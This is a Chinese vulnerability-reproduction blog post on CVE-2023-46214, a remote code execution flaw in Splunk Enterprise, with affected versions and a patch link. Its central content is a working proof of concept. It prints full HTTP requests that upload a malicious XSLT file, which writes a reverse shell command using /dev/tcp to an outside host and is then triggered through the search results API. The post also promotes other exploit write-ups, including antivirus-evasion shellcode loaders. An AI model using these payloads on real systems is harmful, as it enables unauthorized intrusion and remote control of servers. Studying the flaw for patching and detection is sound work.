网安引领时代，弥天点亮未来
本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！
Splunk是美国Splunk公司的一套数据收集分析软件。该软件主要用于收集、索引和分析及其所产生的数据，包括所有IT系统和基础结构（物理、虚拟机和云）生成的数据。
Splunk Enterprise 9.0.0 到 9.0.6 版本、9.1.0到9.1.1版本存在安全漏洞，该漏洞源于不会安全地清理用户提供的可扩展样式表语言转换 (XSLT)，攻击者利用该漏洞可以上传恶意 XSLT，从而在 Splunk Enterprise 实例上远程执行代码。
9.0.0 <= Splunk Enterprise <= 9.0.6
9.1.0 <= Splunk Enterprise <= 9.1.1
Splunk Cloud < 9.1.2308
注：利用条件
具有上传权限；Splunk 未在 SHC 模式下运行
1.访问漏洞环境
2.对漏洞进行复现
POC （POST）
漏洞复现
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1Host: 10.211.55.3:8000User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0Accept-Encoding: gzip, deflateAccept: text/javascript, text/html, application/xml, text/xml, */*Connection: keep-aliveX-Requested-With: XMLHttpRequestX-Splunk-Form-Key: 14405369367646981099Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099Content-Length: 620Content-Type: multipart/form-data; boundary=3d5f09288540918f033268ff6bceb049--3d5f09288540918f033268ff6bceb049Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"Content-Type: application/xslt+xml<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"><xsl:template match="/"><exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text"><xsl:text>sh -i >& /dev/tcp/8.8.8.8/12388 0>&1</xsl:text></exsl:document></xsl:template></xsl:stylesheet>--3d5f09288540918f033268ff6bceb049--
上传xsl文件成功
解析文件
GET /en-US/api/search/jobs/1700617012.37/results?xsl=/opt/splunk/var/run/splunk/dispatch/1700617012.36/shell.xsl HTTP/1.1Host: 10.211.55.3:8000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveCookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099
3.python脚本测试（漏洞存在）
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://advisory.splunk.com/advisories/SVD-2023-1104https://blog.hrncirik.net/cve-2023-46214-analysishttps://github.com/nathan31337/Splunk-RCE-poc
弥天简介
学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
口号 网安引领时代，弥天点亮未来
往期推荐 · 有彩蛋
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
原文始发于微信公众号（渗透Xiao白帽）：CVE-2023-46214 远程代码执行漏洞 (附EXP)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论